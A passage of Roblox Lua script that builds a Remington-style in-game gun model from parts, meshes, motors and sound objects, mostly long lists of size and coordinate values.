mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.169448853, -0.825500488, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.966003, 34.2579956, 238.703003, -0.999999285, -4.35450715e-008, -3.80975962e-009, 4.3577586e-008, -0.999956846, -0.00901973248, -3.41675488e-009, -0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.222222224, 0.222222224),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, -4.35450644e-008, -0.999958932, -0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0.0279998779, 0.279903412, -0.764511108, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Mesh = New("BlockMesh",Handle,"Mesh",{Scale = Vector3.new(0.111111112, 0.444444448, 0.111111112),})
A1 = New("Sound",Handle,"A1",{})
A2 = New("Sound",Handle,"A2",{})
Fire = New("Sound",Handle,"Fire",{})
Fire2 = New("Sound",Handle,"Fire2",{})
local HMSound = NewSound(Plr.PlayerGui,131864673)
Reload = New("Sound",Handle,"Reload",{})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.400000006),CFrame = CFrame.new(198.994003, 34.2989998, 238.526001, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 0.166666672, 1),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.319309235, -0.587142944, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.2099991, 237.858002, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 0.444444448, 0.666666687),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.224285126, 0.0800323486, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.933333337),CFrame = CFrame.new(198.994003, 34.0950012, 238.257004, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 0.666666687, 1),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.112892151, -0.319992065, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.0089989, 238.039993, -0.999999285, -4.35450715e-008, -3.80975962e-009, 4.3577586e-008, -0.999956846, -0.00901973248, -3.41675488e-009, -0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.388888896, 0.222222224, 0.277777761),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, -4.35450644e-008, -0.999958932, -0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.024936676, -0.103775024, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.966003, 34.1800003, 238.701996, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.222222224, 0.222222224),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0.0279998779, 0.201900482, -0.764205933, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Really black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.400000006),CFrame = CFrame.new(198.994003, 34.031002, 238.522995, 0.999999285, 1.30967805e-007, -3.80978804e-009, -1.30996568e-007, 0.999956846, -0.0090198135, 2.62821231e-009, 0.00901978463, 0.99995625),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.722222269, 0.055555556, 1),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -1.30996838e-007, 2.62824362e-009, 1.30967891e-007, 0.999958932, 0.00901984051, -3.80976761e-009, -0.00901980139, 0.999959052),C1 = CFrame.new(0, 0.0512924194, -0.586547852, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.0119972, 238.272995, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.388888896, 0.166666672, 0.388888896),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.0300369263, -0.336730957, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 33.9789963, 237.856003, 0.999999285, 1.03373443e-008, -2.32402641e-007, -4.25526565e-008, -0.974026322, -0.226423502, -2.28707094e-007, 0.226423398, -0.974025607),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.277777761, 0.055555556),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.25527666e-008, -2.28707719e-007, 1.03373541e-008, -0.974028349, 0.226424009, -2.32402826e-007, -0.226424009, -0.974028349),C1 = CFrame.new(0.00399780273, -0.00672531128, 0.0799407959, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 33.9899979, 238.149979, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.388888896, 0.388888896, 0.833333373),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.00692749023, -0.213928223, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.555555582, 0.200000003),CFrame = CFrame.new(198.994003, 34.1539955, 239.078995, -2.83248072e-015, -6.03961325e-014, -0.999999285, -0.999956846, -0.00901970267, -5.55111512e-016, -0.00901960582, 0.999956131, 2.48689958e-014),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.777777791, 1, 0.5),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.4408921e-016, -0.999958932, -0.00901966169, -3.6918385e-014, -0.0090196915, 0.999958932, -1, -5.69026866e-015, -4.39813642e-015),C1 = CFrame.new(0, 0.179298401, -1.14141846, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.990005, 34.038002, 237.516998, -0.999999046, 2.32402598e-007, -1.03373257e-008, 4.25526565e-008, 0.226423576, 0.974026561, 2.28707108e-007, 0.974025726, -0.226423189),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.5, 0.333333343, 0.944444478),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.999999762, 4.25527524e-008, 2.28707705e-007, 2.32402826e-007, 0.226424068, 0.974028468, -1.03373088e-008, 0.974028587, -0.226423785),C1 = CFrame.new(0.00399780273, 0.0492210388, 0.419464111, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
S2 = New("Part",Remington_Model,"S2",{BrickColor = BrickColor.new("Brick yellow"),Reflectance = 0.20000000298023,Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.0320015, 238.384995, -1.33226763e-014, -2.13162821e-014, -0.999999285, -0.996938169, 0.0781665966, -5.82867088e-016, 0.078166604, 0.996937454, 2.84217094e-014),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.843137, 0.772549, 0.603922),})
Mesh = New("CylinderMesh",S2,"Mesh",{Scale = Vector3.new(0.555555522, 0.5, 0.555555522),})
mot = New("Motor",S2,"mot",{Part0 = S2,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0, -0.996940255, 0.0781667978, 0, 0.0781667978, 0.996940255, -1, 0, 0),C1 = CFrame.new(0, 0.0510482788, -0.448547363, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.3349991, 241.074982, 0.999999285, -4.6309799e-007, -0.000345309236, -2.65153176e-006, 0.999956846, -0.00901973248, 0.0003452987, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.111111112, 0.166666672, 0.388888896),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -2.65152653e-006, 0.000345299661, -4.63098331e-007, 0.999958932, 0.0090197213, -0.000345309469, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.378295898, -3.13569641, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.966003, 34.1829987, 238.347, -0.999999285, 4.35450715e-008, 3.80975962e-009, 4.3577586e-008, 0.999956846, 0.00901973248, -3.41675488e-009, 0.00901966542, -0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.555555522, 0.222222224, 0.222222224),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, 3.80973963e-009, 0.0090197213, -0.999958932),C1 = CFrame.new(0.0279998779, 0.201698303, -0.409194946, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.400000006),CFrame = CFrame.new(198.994003, 34.2409973, 238.124985, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 0.777777791, 1),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.25769043, -0.186660767, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.222222224, 0.200000003),CFrame = CFrame.new(198.994003, 34.1439972, 237.757004, -0.999999285, -4.35450715e-008, -3.80975962e-009, 4.3577586e-008, -0.999956846, -0.00901973248, -3.41675488e-009, -0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.833333373, 1, 0.333333343),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 4.35776464e-008, -3.41679218e-009, -4.35450644e-008, -0.999958932, -0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.157375336, 0.180435181, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.988007, 34.0090027, 237.363998, 0.999999285, -5.41788836e-014, 1.38555833e-013, -5.27355937e-016, -0.983430386, -0.181274071, 9.59232693e-014, 0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Stock,"Mesh",{Scale = Vector3.new(0.521739066, 0.304347873, 0.260869563),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, -2.22285857e-014, -0.983432472, 0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, 0.0188407898, 0.57220459, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.988007, 33.8969994, 237.184998, 0.999999285, -5.41788836e-014, 1.38555833e-013, -5.27355937e-016, -0.983430386, -0.181274071, 9.59232693e-014, 0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Stock,"Mesh",{Scale = Vector3.new(0.521739066, 0.478260934, 0.565217435),MeshType = Enum.MeshType.Wedge,})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, -2.22285857e-014, -0.983432472, 0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.0947723389, 0.750183105, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.478260875),CFrame = CFrame.new(198.988007, 33.8729973, 236.888992, -0.999999285, 5.41788836e-014, 1.38555833e-013, 5.27355937e-016, 0.983430386, -0.181274071, -9.59232693e-014, -0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(0.521738946, 0.782608449, 1),})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 2.22285857e-014, 0.983432472, -0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.121440887, 1.04595947, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.226086944),CFrame = CFrame.new(198.988007, 33.9839973, 237.22702, -0.999999285, 5.41788836e-014, 1.38555833e-013, 5.27355937e-016, 0.983430386, -0.181274071, -9.59232693e-014, -0.181273997, -0.98342967),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Stock,"Mesh",{Scale = Vector3.new(0.521738946, 0.304347605, 1),})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, 2.22285857e-014, 0.983432472, -0.181274489, 1.20592555e-013, -0.181274489, -0.983432472),C1 = CFrame.new(0.0059967041, -0.007396698, 0.708953857, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.217391297, 0.200000003),CFrame = CFrame.new(198.988007, 34.1269989, 237.497009, 0.999999285, 1.38555833e-013, 5.41788836e-014, -5.27355937e-016, -0.181274071, 0.983430386, 9.59232693e-014, -0.98342967, -0.181273997),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("CylinderMesh",Stock,"Mesh",{Scale = Vector3.new(0.956521749, 1, 0.782608688),})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, 1.20592555e-013, -0.181274489, -0.983432472, 2.22285857e-014, 0.983432472, -0.181274489),C1 = CFrame.new(0.0059967041, 0.138034821, 0.440261841, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.243478239, 0.200000003, 0.243478239),CFrame = CFrame.new(198.988007, 33.9239998, 236.348999, 0.999999285, 1.38555833e-013, 5.41788836e-014, -5.27355937e-016, -0.181274071, 0.983430386, 9.59232693e-014, -0.98342967, -0.181273997),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("CylinderMesh",Stock,"Mesh",{Scale = Vector3.new(1, 0.652173877, 1),})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, 1.20592555e-013, -0.181274489, -0.983432472, 2.22285857e-014, 0.983432472, -0.181274489),C1 = CFrame.new(0.0059967041, -0.0753135681, 1.58639526, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Stock = New("Part",Remington_Model,"Stock",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.243478253, 1.0869565, 0.208695665),CFrame = CFrame.new(198.988007, 34.0160027, 236.897995, 0.999999285, 1.38555833e-013, 5.41788836e-014, -5.27355937e-016, -0.181274071, 0.983430386, 9.59232693e-014, -0.98342967, -0.181273997),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Stock,"Mesh",{})
mot = New("Motor",Stock,"mot",{Part0 = Stock,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, 1.20592555e-013, -0.181274489, -0.983432472, 2.22285857e-014, 0.983432472, -0.181274489),C1 = CFrame.new(0.0059967041, 0.0216369629, 1.03825378, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(198.994003, 34.4000015, 238.175003, -0.999999225, 0.000345300476, 9.27113319e-009, 0.000345292647, 0.999976933, -0.0064469967, -2.23547249e-006, -0.00644715875, -0.99997431),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.0599999987, 0.0599999987, 0.159999996),MeshId = "http://www.roblox.com/asset/?id=3270017",MeshType = Enum.MeshType.FileMesh,})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -0.99999994, 0.000345293345, -2.2354684e-006, 0.000345300708, 0.999979079, -0.00644714758, 9.27112342e-009, -0.00644704048, -0.999977171),C1 = CFrame.new(0, 0.417140961, -0.235244751, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Railing = New("Part",Remington_Model,"Railing",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(198.994003, 34.3609962, 238.720001, 0.999999285, -3.02360537e-009, 1.71927041e-007, 1.915341e-009, 0.999976873, 0.00644559413, -1.71942631e-007, -0.00644565001, 0.999976158),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Railing,"Mesh",{Scale = Vector3.new(0.114285715, 0.0285714287, 0.0571428575),MeshType = Enum.MeshType.Torso,})
